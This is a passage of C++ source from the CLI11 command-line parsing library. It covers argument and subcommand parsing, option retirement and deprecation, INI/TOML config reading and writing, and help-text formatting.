nullptr;\n}\n\nCLI11_INLINE bool App::_parse_subcommand(std::vector<std::string> &args) {\n    if(_count_remaining_positionals(/* required */ true) > 0) {\n        _parse_positional(args, false);\n        return true;\n    }\n    auto *com = _find_subcommand(args.back(), true, true);\n    if(com != nullptr) {\n        args.pop_back();\n        if(!com->silent_) {\n            parsed_subcommands_.push_back(com);\n        }\n        com->_parse(args);\n        auto *parent_app = com->parent_;\n        while(parent_app != this) {\n            parent_app->_trigger_pre_parse(args.size());\n            if(!com->silent_) {\n                parent_app->parsed_subcommands_.push_back(com);\n            }\n            parent_app = parent_app->parent_;\n        }\n        return true;\n    }\n\n    if(parent_ == nullptr)\n        throw HorribleError(\"Subcommand \" + args.back() + \" missing\");\n    return false;\n}\n\nCLI11_INLINE bool App::_parse_arg(std::vector<std::string> &args, detail::Classifier current_type) {\n\n    std::string current = args.back();\n\n    std::string arg_name;\n    std::string value;\n    std::string rest;\n\n    switch(current_type) {\n    case detail::Classifier::LONG:\n        if(!detail::split_long(current, arg_name, value))\n            throw HorribleError(\"Long parsed but missing (you should not see this):\" + args.back());\n        break;\n    case detail::Classifier::SHORT:\n        if(!detail::split_short(current, arg_name, rest))\n            throw HorribleError(\"Short parsed but missing! You should not see this\");\n        break;\n    case detail::Classifier::WINDOWS_STYLE:\n        if(!detail::split_windows_style(current, arg_name, value))\n            throw HorribleError(\"windows option parsed but missing! You should not see this\");\n        break;\n    case detail::Classifier::SUBCOMMAND:\n    case detail::Classifier::SUBCOMMAND_TERMINATOR:\n    case detail::Classifier::POSITIONAL_MARK:\n    case detail::Classifier::NONE:\n    default:\n        throw HorribleError(\"parsing got called with invalid option! You should not see this\");\n    }\n\n    auto op_ptr = std::find_if(std::begin(options_), std::end(options_), [arg_name, current_type](const Option_p &opt) {\n        if(current_type == detail::Classifier::LONG)\n            return opt->check_lname(arg_name);\n        if(current_type == detail::Classifier::SHORT)\n            return opt->check_sname(arg_name);\n        // this will only get called for detail::Classifier::WINDOWS_STYLE\n        return opt->check_lname(arg_name) || opt->check_sname(arg_name);\n    });\n\n    // Option not found\n    if(op_ptr == std::end(options_)) {\n        for(auto &subc : subcommands_) {\n            if(subc->name_.empty() && !subc->disabled_) {\n                if(subc->_parse_arg(args, current_type)) {\n                    if(!subc->pre_parse_called_) {\n                        subc->_trigger_pre_parse(args.size());\n                    }\n                    return true;\n                }\n            }\n        }\n\n        // don't capture missing if this is a nameless subcommand and nameless subcommands can't fallthrough\n        if(parent_ != nullptr && name_.empty()) {\n            return false;\n        }\n\n        // If a subcommand, try the main command\n        if(parent_ != nullptr && fallthrough_)\n            return _get_fallthrough_parent()->_parse_arg(args, current_type);\n\n        // Otherwise, add to missing\n        args.pop_back();\n        _move_to_missing(current_type, current);\n        return true;\n    }\n\n    args.pop_back();\n\n    // Get a reference to the pointer to make syntax bearable\n    Option_p &op = *op_ptr;\n    /// if we require a separator add it here\n    if(op->get_inject_separator()) {\n        if(!op->results().empty() && !op->results().back().empty()) {\n            op->add_result(std::string{});\n        }\n    }\n    if(op->get_trigger_on_parse() && op->current_option_state_ == Option::option_state::callback_run) {\n        op->clear();\n    }\n    int min_num = (std::min)(op->get_type_size_min(), op->get_items_expected_min());\n    int max_num = op->get_items_expected_max();\n    // check container like options to limit the argument size to a single type if the allow_extra_flags argument is\n    // set. 16 is somewhat arbitrary (needs to be at least 4)\n    if(max_num >= detail::expected_max_vector_size / 16 && !op->get_allow_extra_args()) {\n        auto tmax = op->get_type_size_max();\n        max_num = detail::checked_multiply(tmax, op->get_expected_min()) ? tmax : detail::expected_max_vector_size;\n    }\n    // Make sure we always eat the minimum for unlimited vectors\n    int collected = 0;     // total number of arguments collected\n    int result_count = 0;  // local variable for number of results in a single arg string\n    // deal with purely flag like things\n    if(max_num == 0) {\n        auto res = op->get_flag_value(arg_name, value);\n        op->add_result(res);\n        parse_order_.push_back(op.get());\n    } else if(!value.empty()) {  // --this=value\n        op->add_result(value, result_count);\n        parse_order_.push_back(op.get());\n        collected += result_count;\n        // -Trest\n    } else if(!rest.empty()) {\n        op->add_result(rest, result_count);\n        parse_order_.push_back(op.get());\n        rest = \"\";\n        collected += result_count;\n    }\n\n    // gather the minimum number of arguments\n    while(min_num > collected && !args.empty()) {\n        std::string current_ = args.back();\n        args.pop_back();\n        op->add_result(current_, result_count);\n        parse_order_.push_back(op.get());\n        collected += result_count;\n    }\n\n    if(min_num > collected) {  // if we have run out of arguments and the minimum was not met\n        throw ArgumentMismatch::TypedAtLeast(op->get_name(), min_num, op->get_type_name());\n    }\n\n    // now check for optional arguments\n    if(max_num > collected || op->get_allow_extra_args()) {  // we allow optional arguments\n        auto remreqpos = _count_remaining_positionals(true);\n        // we have met the minimum now optionally check up to the maximum\n        while((collected < max_num || op->get_allow_extra_args()) && !args.empty() &&\n              _recognize(args.back(), false) == detail::Classifier::NONE) {\n            // If any required positionals remain, don't keep eating\n            if(remreqpos >= args.size()) {\n                break;\n            }\n            if(validate_optional_arguments_) {\n                std::string arg = args.back();\n                arg = op->_validate(arg, 0);\n                if(!arg.empty()) {\n                    break;\n                }\n            }\n            op->add_result(args.back(), result_count);\n            parse_order_.push_back(op.get());\n            args.pop_back();\n            collected += result_count;\n        }\n\n        // Allow -- to end an unlimited list and \"eat\" it\n        if(!args.empty() && _recognize(args.back()) == detail::Classifier::POSITIONAL_MARK)\n            args.pop_back();\n        // optional flag that didn't receive anything now get the default value\n        if(min_num == 0 && max_num > 0 && collected == 0) {\n            auto res = op->get_flag_value(arg_name, std::string{});\n            op->add_result(res);\n            parse_order_.push_back(op.get());\n        }\n    }\n    // if we only partially completed a type then add an empty string if allowed for later processing\n    if(min_num > 0 && (collected % op->get_type_size_max()) != 0) {\n        if(op->get_type_size_max() != op->get_type_size_min()) {\n            op->add_result(std::string{});\n        } else {\n            throw ArgumentMismatch::PartialType(op->get_name(), op->get_type_size_min(), op->get_type_name());\n        }\n    }\n    if(op->get_trigger_on_parse()) {\n        op->run_callback();\n    }\n    if(!rest.empty()) {\n        rest = \"-\" + rest;\n        args.push_back(rest);\n    }\n    return true;\n}\n\nCLI11_INLINE void App::_trigger_pre_parse(std::size_t remaining_args) {\n    if(!pre_parse_called_) {\n        pre_parse_called_ = true;\n        if(pre_parse_callback_) {\n            pre_parse_callback_(remaining_args);\n        }\n    } else if(immediate_callback_) {\n        if(!name_.empty()) {\n            auto pcnt = parsed_;\n            auto extras = std::move(missing_);\n            clear();\n            parsed_ = pcnt;\n            pre_parse_called_ = true;\n            missing_ = std::move(extras);\n        }\n    }\n}\n\nCLI11_INLINE App *App::_get_fallthrough_parent() {\n    if(parent_ == nullptr) {\n        throw(HorribleError(\"No Valid parent\"));\n    }\n    auto *fallthrough_parent = parent_;\n    while((fallthrough_parent->parent_ != nullptr) && (fallthrough_parent->get_name().empty())) {\n        fallthrough_parent = fallthrough_parent->parent_;\n    }\n    return fallthrough_parent;\n}\n\nCLI11_NODISCARD CLI11_INLINE const std::string &App::_compare_subcommand_names(const App &subcom,\n                                                                               const App &base) const {\n    static const std::string estring;\n    if(subcom.disabled_) {\n        return estring;\n    }\n    for(const auto &subc : base.subcommands_) {\n        if(subc.get() != &subcom) {\n            if(subc->disabled_) {\n                continue;\n            }\n            if(!subcom.get_name().empty()) {\n                if(subc->check_name(subcom.get_name())) {\n                    return subcom.get_name();\n                }\n            }\n            if(!subc->get_name().empty()) {\n                if(subcom.check_name(subc->get_name())) {\n                    return subc->get_name();\n                }\n            }\n            for(const auto &les : subcom.aliases_) {\n                if(subc->check_name(les)) {\n                    return les;\n                }\n            }\n            // this loop is needed in case of ignore_underscore or ignore_case on one but not the other\n            for(const auto &les : subc->aliases_) {\n                if(subcom.check_name(les)) {\n                    return les;\n                }\n            }\n            // if the subcommand is an option group we need to check deeper\n            if(subc->get_name().empty()) {\n                const auto &cmpres = _compare_subcommand_names(subcom, *subc);\n                if(!cmpres.empty()) {\n                    return cmpres;\n                }\n            }\n            // if the test subcommand is an option group we need to check deeper\n            if(subcom.get_name().empty()) {\n                const auto &cmpres = _compare_subcommand_names(*subc, subcom);\n                if(!cmpres.empty()) {\n                    return cmpres;\n                }\n            }\n        }\n    }\n    return estring;\n}\n\nCLI11_INLINE void App::_move_to_missing(detail::Classifier val_type, const std::string &val) {\n    if(allow_extras_ || subcommands_.empty()) {\n        missing_.emplace_back(val_type, val);\n        return;\n    }\n    // allow extra arguments to be places in an option group if it is allowed there\n    for(auto &subc : subcommands_) {\n        if(subc->name_.empty() && subc->allow_extras_) {\n            subc->missing_.emplace_back(val_type, val);\n            return;\n        }\n    }\n    // if we haven't found any place to put them yet put them in missing\n    missing_.emplace_back(val_type, val);\n}\n\nCLI11_INLINE void App::_move_option(Option *opt, App *app) {\n    if(opt == nullptr) {\n        throw OptionNotFound(\"the option is NULL\");\n    }\n    // verify that the give app is actually a subcommand\n    bool found = false;\n    for(auto &subc : subcommands_) {\n        if(app == subc.get()) {\n            found = true;\n        }\n    }\n    if(!found) {\n        throw OptionNotFound(\"The Given app is not a subcommand\");\n    }\n\n    if((help_ptr_ == opt) || (help_all_ptr_ == opt))\n        throw OptionAlreadyAdded(\"cannot move help options\");\n\n    if(config_ptr_ == opt)\n        throw OptionAlreadyAdded(\"cannot move config file options\");\n\n    auto iterator =\n        std::find_if(std::begin(options_), std::end(options_), [opt](const Option_p &v) { return v.get() == opt; });\n    if(iterator != std::end(options_)) {\n        const auto &opt_p = *iterator;\n        if(std::find_if(std::begin(app->options_), std::end(app->options_), [&opt_p](const Option_p &v) {\n               return (*v == *opt_p);\n           }) == std::end(app->options_)) {\n            // only erase after the insertion was successful\n            app->options_.push_back(std::move(*iterator));\n            options_.erase(iterator);\n        } else {\n            throw OptionAlreadyAdded(\"option was not located: \" + opt->get_name());\n        }\n    } else {\n        throw OptionNotFound(\"could not locate the given Option\");\n    }\n}\n\nCLI11_INLINE void TriggerOn(App *trigger_app, App *app_to_enable) {\n    app_to_enable->enabled_by_default(false);\n    app_to_enable->disabled_by_default();\n    trigger_app->preparse_callback([app_to_enable](std::size_t) { app_to_enable->disabled(false); });\n}\n\nCLI11_INLINE void TriggerOn(App *trigger_app, std::vector<App *> apps_to_enable) {\n    for(auto &app : apps_to_enable) {\n        app->enabled_by_default(false);\n        app->disabled_by_default();\n    }\n\n    trigger_app->preparse_callback([apps_to_enable](std::size_t) {\n        for(const auto &app : apps_to_enable) {\n            app->disabled(false);\n        }\n    });\n}\n\nCLI11_INLINE void TriggerOff(App *trigger_app, App *app_to_enable) {\n    app_to_enable->disabled_by_default(false);\n    app_to_enable->enabled_by_default();\n    trigger_app->preparse_callback([app_to_enable](std::size_t) { app_to_enable->disabled(); });\n}\n\nCLI11_INLINE void TriggerOff(App *trigger_app, std::vector<App *> apps_to_enable) {\n    for(auto &app : apps_to_enable) {\n        app->disabled_by_default(false);\n        app->enabled_by_default();\n    }\n\n    trigger_app->preparse_callback([apps_to_enable](std::size_t) {\n        for(const auto &app : apps_to_enable) {\n            app->disabled();\n        }\n    });\n}\n\nCLI11_INLINE void deprecate_option(Option *opt, const std::string &replacement) {\n    Validator deprecate_warning{[opt, replacement](std::string &) {\n                                    std::cout << opt->get_name() << \" is deprecated please use '\" << replacement\n                                              << \"' instead\\n\";\n                                    return std::string();\n                                },\n                                \"DEPRECATED\"};\n    deprecate_warning.application_index(0);\n    opt->check(deprecate_warning);\n    if(!replacement.empty()) {\n        opt->description(opt->get_description() + \" DEPRECATED: please use '\" + replacement + \"' instead\");\n    }\n}\n\nCLI11_INLINE void retire_option(App *app, Option *opt) {\n    App temp;\n    auto *option_copy = temp.add_option(opt->get_name(false, true))\n                            ->type_size(opt->get_type_size_min(), opt->get_type_size_max())\n                            ->expected(opt->get_expected_min(), opt->get_expected_max())\n                            ->allow_extra_args(opt->get_allow_extra_args());\n\n    app->remove_option(opt);\n    auto *opt2 = app->add_option(option_copy->get_name(false, true), \"option has been retired and has no effect\")\n                     ->type_name(\"RETIRED\")\n                     ->default_str(\"RETIRED\")\n                     ->type_size(option_copy->get_type_size_min(), option_copy->get_type_size_max())\n                     ->expected(option_copy->get_expected_min(), option_copy->get_expected_max())\n                     ->allow_extra_args(option_copy->get_allow_extra_args());\n\n    Validator retired_warning{[opt2](std::string &) {\n                                  std::cout << \"WARNING \" << opt2->get_name() << \" is retired and has no effect\\n\";\n                                  return std::string();\n                              },\n                              \"\"};\n    retired_warning.application_index(0);\n    opt2->check(retired_warning);\n}\n\nCLI11_INLINE void retire_option(App &app, Option *opt) { retire_option(&app, opt); }\n\nCLI11_INLINE void retire_option(App *app, const std::string &option_name) {\n\n    auto *opt = app->get_option_no_throw(option_name);\n    if(opt != nullptr) {\n        retire_option(app, opt);\n        return;\n    }\n    auto *opt2 = app->add_option(option_name, \"option has been retired and has no effect\")\n                     ->type_name(\"RETIRED\")\n                     ->expected(0, 1)\n                     ->default_str(\"RETIRED\");\n    Validator retired_warning{[opt2](std::string &) {\n                                  std::cout << \"WARNING \" << opt2->get_name() << \" is retired and has no effect\\n\";\n                                  return std::string();\n                              },\n                              \"\"};\n    retired_warning.application_index(0);\n    opt2->check(retired_warning);\n}\n\nCLI11_INLINE void retire_option(App &app, const std::string &option_name) { retire_option(&app, option_name); }\n\nnamespace FailureMessage {\n\nCLI11_INLINE std::string simple(const App *app, const Error &e) {\n    std::string header = std::string(e.what()) + \"\\n\";\n    std::vector<std::string> names;\n\n    // Collect names\n    if(app->get_help_ptr() != nullptr)\n        names.push_back(app->get_help_ptr()->get_name());\n\n    if(app->get_help_all_ptr() != nullptr)\n        names.push_back(app->get_help_all_ptr()->get_name());\n\n    // If any names found, suggest those\n    if(!names.empty())\n        header += \"Run with \" + detail::join(names, \" or \") + \" for more information.\\n\";\n\n    return header;\n}\n\nCLI11_INLINE std::string help(const App *app, const Error &e) {\n    std::string header = std::string(\"ERROR: \") + e.get_name() + \": \" + e.what() + \"\\n\";\n    header += app->help();\n    return header;\n}\n\n}  // namespace FailureMessage\n\n\n\n\nnamespace detail {\n\nstd::string convert_arg_for_ini(const std::string &arg, char stringQuote = '\"', char characterQuote = '\\'');\n\n/// Comma separated join, adds quotes if needed\nstd::string ini_join(const std::vector<std::string> &args,\n                     char sepChar = ',',\n                     char arrayStart = '[',\n                     char arrayEnd = ']',\n                     char stringQuote = '\"',\n                     char characterQuote = '\\'');\n\nstd::vector<std::string> generate_parents(const std::string &section, std::string &name, char parentSeparator);\n\n/// assuming non default segments do a check on the close and open of the segments in a configItem structure\nvoid checkParentSegments(std::vector<ConfigItem> &output, const std::string &currentSection, char parentSeparator);\n}  // namespace detail\n\n\n\n\nnamespace detail {\n\nCLI11_INLINE std::string convert_arg_for_ini(const std::string &arg, char stringQuote, char characterQuote) {\n    if(arg.empty()) {\n        return std::string(2, stringQuote);\n    }\n    // some specifically supported strings\n    if(arg == \"true\" || arg == \"false\" || arg == \"nan\" || arg == \"inf\") {\n        return arg;\n    }\n    // floating point conversion can convert some hex codes, but don't try that here\n    if(arg.compare(0, 2, \"0x\") != 0 && arg.compare(0, 2, \"0X\") != 0) {\n        using CLI::detail::lexical_cast;\n        double val = 0.0;\n        if(lexical_cast(arg, val)) {\n            return arg;\n        }\n    }\n    // just quote a single non numeric character\n    if(arg.size() == 1) {\n        return std::string(1, characterQuote) + arg + characterQuote;\n    }\n    // handle hex, binary or octal arguments\n    if(arg.front() == '0') {\n        if(arg[1] == 'x') {\n            if(std::all_of(arg.begin() + 2, arg.end(), [](char x) {\n                   return (x >= '0' && x <= '9') || (x >= 'A' && x <= 'F') || (x >= 'a' && x <= 'f');\n               })) {\n                return arg;\n            }\n        } else if(arg[1] == 'o') {\n            if(std::all_of(arg.begin() + 2, arg.end(), [](char x) { return (x >= '0' && x <= '7'); })) {\n                return arg;\n            }\n        } else if(arg[1] == 'b') {\n            if(std::all_of(arg.begin() + 2, arg.end(), [](char x) { return (x == '0' || x == '1'); })) {\n                return arg;\n            }\n        }\n    }\n    if(arg.find_first_of(stringQuote) == std::string::npos) {\n        return std::string(1, stringQuote) + arg + stringQuote;\n    }\n    return characterQuote + arg + characterQuote;\n}\n\nCLI11_INLINE std::string ini_join(const std::vector<std::string> &args,\n                                  char sepChar,\n                                  char arrayStart,\n                                  char arrayEnd,\n                                  char stringQuote,\n                                  char characterQuote) {\n    std::string joined;\n    if(args.size() > 1 && arrayStart != '\\0') {\n        joined.push_back(arrayStart);\n    }\n    std::size_t start = 0;\n    for(const auto &arg : args) {\n        if(start++ > 0) {\n            joined.push_back(sepChar);\n            if(!std::isspace<char>(sepChar, std::locale())) {\n                joined.push_back(' ');\n            }\n        }\n        joined.append(convert_arg_for_ini(arg, stringQuote, characterQuote));\n    }\n    if(args.size() > 1 && arrayEnd != '\\0') {\n        joined.push_back(arrayEnd);\n    }\n    return joined;\n}\n\nCLI11_INLINE std::vector<std::string>\ngenerate_parents(const std::string &section, std::string &name, char parentSeparator) {\n    std::vector<std::string> parents;\n    if(detail::to_lower(section) != \"default\") {\n        if(section.find(parentSeparator) != std::string::npos) {\n            parents = detail::split(section, parentSeparator);\n        } else {\n            parents = {section};\n        }\n    }\n    if(name.find(parentSeparator) != std::string::npos) {\n        std::vector<std::string> plist = detail::split(name, parentSeparator);\n        name = plist.back();\n        detail::remove_quotes(name);\n        plist.pop_back();\n        parents.insert(parents.end(), plist.begin(), plist.end());\n    }\n\n    // clean up quotes on the parents\n    for(auto &parent : parents) {\n        detail::remove_quotes(parent);\n    }\n    return parents;\n}\n\nCLI11_INLINE void\ncheckParentSegments(std::vector<ConfigItem> &output, const std::string &currentSection, char parentSeparator) {\n\n    std::string estring;\n    auto parents = detail::generate_parents(currentSection, estring, parentSeparator);\n    if(!output.empty() && output.back().name == \"--\") {\n        std::size_t msize = (parents.size() > 1U) ? parents.size() : 2;\n        while(output.back().parents.size() >= msize) {\n            output.push_back(output.back());\n            output.back().parents.pop_back();\n        }\n\n        if(parents.size() > 1) {\n            std::size_t common = 0;\n            std::size_t mpair = (std::min)(output.back().parents.size(), parents.size() - 1);\n            for(std::size_t ii = 0; ii < mpair; ++ii) {\n                if(output.back().parents[ii] != parents[ii]) {\n                    break;\n                }\n                ++common;\n            }\n            if(common == mpair) {\n                output.pop_back();\n            } else {\n                while(output.back().parents.size() > common + 1) {\n                    output.push_back(output.back());\n                    output.back().parents.pop_back();\n                }\n            }\n            for(std::size_t ii = common; ii < parents.size() - 1; ++ii) {\n                output.emplace_back();\n                output.back().parents.assign(parents.begin(), parents.begin() + static_cast<std::ptrdiff_t>(ii) + 1);\n                output.back().name = \"++\";\n            }\n        }\n    } else if(parents.size() > 1) {\n        for(std::size_t ii = 0; ii < parents.size() - 1; ++ii) {\n            output.emplace_back();\n            output.back().parents.assign(parents.begin(), parents.begin() + static_cast<std::ptrdiff_t>(ii) + 1);\n            output.back().name = \"++\";\n        }\n    }\n\n    // insert a section end which is just an empty items_buffer\n    output.emplace_back();\n    output.back().parents = std::move(parents);\n    output.back().name = \"++\";\n}\n}  // namespace detail\n\ninline std::vector<ConfigItem> ConfigBase::from_config(std::istream &input) const {\n    std::string line;\n    std::string currentSection = \"default\";\n    std::string previousSection = \"default\";\n    std::vector<ConfigItem> output;\n    bool isDefaultArray = (arrayStart == '[' && arrayEnd == ']' && arraySeparator == ',');\n    bool isINIArray = (arrayStart == '\\0' || arrayStart == ' ') && arrayStart == arrayEnd;\n    bool inSection{false};\n    char aStart = (isINIArray) ? '[' : arrayStart;\n    char aEnd = (isINIArray) ? ']' : arrayEnd;\n    char aSep = (isINIArray && arraySeparator == ' ') ? ',' : arraySeparator;\n    int currentSectionIndex{0};\n    while(getline(input, line)) {\n        std::vector<std::string> items_buffer;\n        std::string name;\n\n        detail::trim(line);\n        std::size_t len = line.length();\n        // lines have to be at least 3 characters to have any meaning to CLI just skip the rest\n        if(len < 3) {\n            continue;\n        }\n        if(line.front() == '[' && line.back() == ']') {\n            if(currentSection != \"default\") {\n                // insert a section end which is just an empty items_buffer\n                output.emplace_back();\n                output.back().parents = detail::generate_parents(currentSection, name, parentSeparatorChar);\n                output.back().name = \"--\";\n            }\n            currentSection = line.substr(1, len - 2);\n            // deal with double brackets for TOML\n            if(currentSection.size() > 1 && currentSection.front() == '[' && currentSection.back() == ']') {\n                currentSection = currentSection.substr(1, currentSection.size() - 2);\n            }\n            if(detail::to_lower(currentSection) == \"default\") {\n                currentSection = \"default\";\n            } else {\n                detail::checkParentSegments(output, currentSection, parentSeparatorChar);\n            }\n            inSection = false;\n            if(currentSection == previousSection) {\n                ++currentSectionIndex;\n            } else {\n                currentSectionIndex = 0;\n                previousSection = currentSection;\n            }\n            continue;\n        }\n\n        // comment lines\n        if(line.front() == ';' || line.front() == '#' || line.front() == commentChar) {\n            continue;\n        }\n\n        // Find = in string, split and recombine\n        auto pos = line.find(valueDelimiter);\n        if(pos != std::string::npos) {\n            name = detail::trim_copy(line.substr(0, pos));\n            std::string item = detail::trim_copy(line.substr(pos + 1));\n            auto cloc = item.find(commentChar);\n            if(cloc != std::string::npos) {\n                item.erase(cloc, std::string::npos);  // NOLINT(readability-suspicious-call-argument)\n                detail::trim(item);\n            }\n            if(item.size() > 1 && item.front() == aStart) {\n                for(std::string multiline; item.back() != aEnd && std::getline(input, multiline);) {\n                    detail::trim(multiline);\n                    item += multiline;\n                }\n                items_buffer = detail::split_up(item.substr(1, item.length() - 2), aSep);\n            } else if((isDefaultArray || isINIArray) && item.find_first_of(aSep) != std::string::npos) {\n                items_buffer = detail::split_up(item, aSep);\n            } else if((isDefaultArray || isINIArray) && item.find_first_of(' ') != std::string::npos) {\n                items_buffer = detail::split_up(item);\n            } else {\n                items_buffer = {item};\n            }\n        } else {\n            name = detail::trim_copy(line);\n            auto cloc = name.find(commentChar);\n            if(cloc != std::string::npos) {\n                name.erase(cloc, std::string::npos);  // NOLINT(readability-suspicious-call-argument)\n                detail::trim(name);\n            }\n\n            items_buffer = {\"true\"};\n        }\n        if(name.find(parentSeparatorChar) == std::string::npos) {\n            detail::remove_quotes(name);\n        }\n        // clean up quotes on the items\n        for(auto &it : items_buffer) {\n            detail::remove_quotes(it);\n        }\n\n        std::vector<std::string> parents = detail::generate_parents(currentSection, name, parentSeparatorChar);\n        if(parents.size() > maximumLayers) {\n            continue;\n        }\n        if(!configSection.empty() && !inSection) {\n            if(parents.empty() || parents.front() != configSection) {\n                continue;\n            }\n            if(configIndex >= 0 && currentSectionIndex != configIndex) {\n                continue;\n            }\n            parents.erase(parents.begin());\n            inSection = true;\n        }\n        if(!output.empty() && name == output.back().name && parents == output.back().parents) {\n            output.back().inputs.insert(output.back().inputs.end(), items_buffer.begin(), items_buffer.end());\n        } else {\n            output.emplace_back();\n            output.back().parents = std::move(parents);\n            output.back().name = std::move(name);\n            output.back().inputs = std::move(items_buffer);\n        }\n    }\n    if(currentSection != \"default\") {\n        // insert a section end which is just an empty items_buffer\n        std::string ename;\n        output.emplace_back();\n        output.back().parents = detail::generate_parents(currentSection, ename, parentSeparatorChar);\n        output.back().name = \"--\";\n        while(output.back().parents.size() > 1) {\n            output.push_back(output.back());\n            output.back().parents.pop_back();\n        }\n    }\n    return output;\n}\n\nCLI11_INLINE std::string\nConfigBase::to_config(const App *app, bool default_also, bool write_description, std::string prefix) const {\n    std::stringstream out;\n    std::string commentLead;\n    commentLead.push_back(commentChar);\n    commentLead.push_back(' ');\n\n    std::vector<std::string> groups = app->get_groups();\n    bool defaultUsed = false;\n    groups.insert(groups.begin(), std::string(\"Options\"));\n    if(write_description && (app->get_configurable() || app->get_parent() == nullptr || app->get_name().empty())) {\n        out << commentLead << detail::fix_newlines(commentLead, app->get_description()) << '\\n';\n    }\n    for(auto &group : groups) {\n        if(group == \"Options\" || group.empty()) {\n            if(defaultUsed) {\n                continue;\n            }\n            defaultUsed = true;\n        }\n        if(write_description && group != \"Options\" && !group.empty()) {\n            out << '\\n' << commentLead << group << \" Options\\n\";\n        }\n        for(const Option *opt : app->get_options({})) {\n\n            // Only process options that are configurable\n            if(opt->get_configurable()) {\n                if(opt->get_group() != group) {\n                    if(!(group == \"Options\" && opt->get_group().empty())) {\n                        continue;\n                    }\n                }\n                std::string name = prefix + opt->get_single_name();\n                std::string value = detail::ini_join(\n                    opt->reduced_results(), arraySeparator, arrayStart, arrayEnd, stringQuote, characterQuote);\n\n                if(value.empty() && default_also) {\n                    if(!opt->get_default_str().empty()) {\n                        value = detail::convert_arg_for_ini(opt->get_default_str(), stringQuote, characterQuote);\n                    } else if(opt->get_expected_min() == 0) {\n                        value = \"false\";\n                    } else if(opt->get_run_callback_for_default()) {\n                        value = \"\\\"\\\"\";  // empty string default value\n                    }\n                }\n\n                if(!value.empty()) {\n                    if(!opt->get_fnames().empty()) {\n                        value = opt->get_flag_value(name, value);\n                    }\n                    if(write_description && opt->has_description()) {\n                        out << '\\n';\n                        out << commentLead << detail::fix_newlines(commentLead, opt->get_description()) << '\\n';\n                    }\n                    out << name << valueDelimiter << value << '\\n';\n                }\n            }\n        }\n    }\n    auto subcommands = app->get_subcommands({});\n    for(const App *subcom : subcommands) {\n        if(subcom->get_name().empty()) {\n            if(write_description && !subcom->get_group().empty()) {\n                out << '\\n' << commentLead << subcom->get_group() << \" Options\\n\";\n            }\n            out << to_config(subcom, default_also, write_description, prefix);\n        }\n    }\n\n    for(const App *subcom : subcommands) {\n        if(!subcom->get_name().empty()) {\n            if(subcom->get_configurable() && app->got_subcommand(subcom)) {\n                if(!prefix.empty() || app->get_parent() == nullptr) {\n                    out << '[' << prefix << subcom->get_name() << \"]\\n\";\n                } else {\n                    std::string subname = app->get_name() + parentSeparatorChar + subcom->get_name();\n                    const auto *p = app->get_parent();\n                    while(p->get_parent() != nullptr) {\n                        subname = p->get_name() + parentSeparatorChar + subname;\n                        p = p->get_parent();\n                    }\n                    out << '[' << subname << \"]\\n\";\n                }\n                out << to_config(subcom, default_also, write_description, \"\");\n            } else {\n                out << to_config(\n                    subcom, default_also, write_description, prefix + subcom->get_name() + parentSeparatorChar);\n            }\n        }\n    }\n\n    return out.str();\n}\n\n\n\n\n\n\nCLI11_INLINE std::string\nFormatter::make_group(std::string group, bool is_positional, std::vector<const Option *> opts) const {\n    std::stringstream out;\n\n    out << \"\\n\" << group << \":\\n\";\n    for(const Option *opt : opts) {\n        out << make_option(opt, is_positional);\n    }\n\n    return out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_positionals(const App *app) const {\n    std::vector<const Option *> opts =\n        app->get_options([](const Option *opt) { return !opt->get_group().empty() && opt->get_positional(); });\n\n    if(opts.empty())\n        return {};\n\n    return make_group(get_label(\"Positionals\"), true, opts);\n}\n\nCLI11_INLINE std::string Formatter::make_groups(const App *app, AppFormatMode mode) const {\n    std::stringstream out;\n    std::vector<std::string> groups = app->get_groups();\n\n    // Options\n    for(const std::string &group : groups) {\n        std::vector<const Option *> opts = app->get_options([app, mode, &group](const Option *opt) {\n            return opt->get_group() == group                     // Must be in the right group\n                   && opt->nonpositional()                       // Must not be a positional\n                   && (mode != AppFormatMode::Sub                // If mode is Sub, then\n                       || (app->get_help_ptr() != opt            // Ignore help pointer\n                           && app->get_help_all_ptr() != opt));  // Ignore help all pointer\n        });\n        if(!group.empty() && !opts.empty()) {\n            out << make_group(group, false, opts);\n\n            if(group != groups.back())\n                out << \"\\n\";\n        }\n    }\n\n    return out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_description(const App *app) const {\n    std::string desc = app->get_description();\n    auto min_options = app->get_require_option_min();\n    auto max_options = app->get_require_option_max();\n    if(app->get_required()) {\n        desc += \" REQUIRED \";\n    }\n    if((max_options == min_options) && (min_options > 0)) {\n        if(min_options == 1) {\n            desc += \" \\n[Exactly 1 of the following options is required]\";\n        } else {\n            desc += \" \\n[Exactly \" + std::to_string(min_options) + \" options from the following list are required]\";\n        }\n    } else if(max_options > 0) {\n        if(min_options > 0) {\n            desc += \" \\n[Between \" + std::to_string(min_options) + \" and \" + std::to_string(max_options) +\n                    \" of the follow options are required]\";\n        } else {\n            desc += \" \\n[At most \" + std::to_string(max_options) + \" of the following options are allowed]\";\n        }\n    } else if(min_options > 0) {\n        desc += \" \\n[At least \" + std::to_string(min_options) + \" of the following options are required]\";\n    }\n    return (!desc.empty()) ? desc + \"\\n\" : std::string{};\n}\n\nCLI11_INLINE std::string Formatter::make_usage(const App *app, std::string name) const {\n    std::stringstream out;\n\n    out << get_label(\"Usage\") << \":\" << (name.empty() ? \"\" : \" \") << name;\n\n    std::vector<std::string> groups = app->get_groups();\n\n    // Print an Options badge if any options exist\n    std::vector<const Option *> non_pos_options =\n        app->get_options([](const Option *opt) { return opt->nonpositional(); });\n    if(!non_pos_options.empty())\n        out << \" [\" << get_label(\"OPTIONS\") << \"]\";\n\n    // Positionals need to be listed here\n    std::vector<const Option *> positionals = app->get_options([](const Option *opt) { return opt->get_positional(); });\n\n    // Print out positionals if any are left\n    if(!positionals.empty()) {\n        // Convert to help names\n        std::vector<std::string> positional_names(positionals.size());\n        std::transform(positionals.begin(), positionals.end(), positional_names.begin(), [this](const Option *opt) {\n            return make_option_usage(opt);\n        });\n\n        out << \" \" << detail::join(positional_names, \" \");\n    }\n\n    // Add a marker if subcommands are expected or optional\n    if(!app->get_subcommands(\n               [](const CLI::App *subc) { return ((!subc->get_disabled()) && (!subc->get_name().empty())); })\n            .empty()) {\n        out << \" \" << (app->get_require_subcommand_min() == 0 ? \"[\" : \"\")\n            << get_label(app->get_require_subcommand_max() < 2 || app->get_require_subcommand_min() > 1 ? \"SUBCOMMAND\"\n                                                                                                        : \"SUBCOMMANDS\")\n            << (app->get_require_subcommand_min() == 0 ? \"]\" : \"\");\n    }\n\n    out << std::endl;\n\n    return 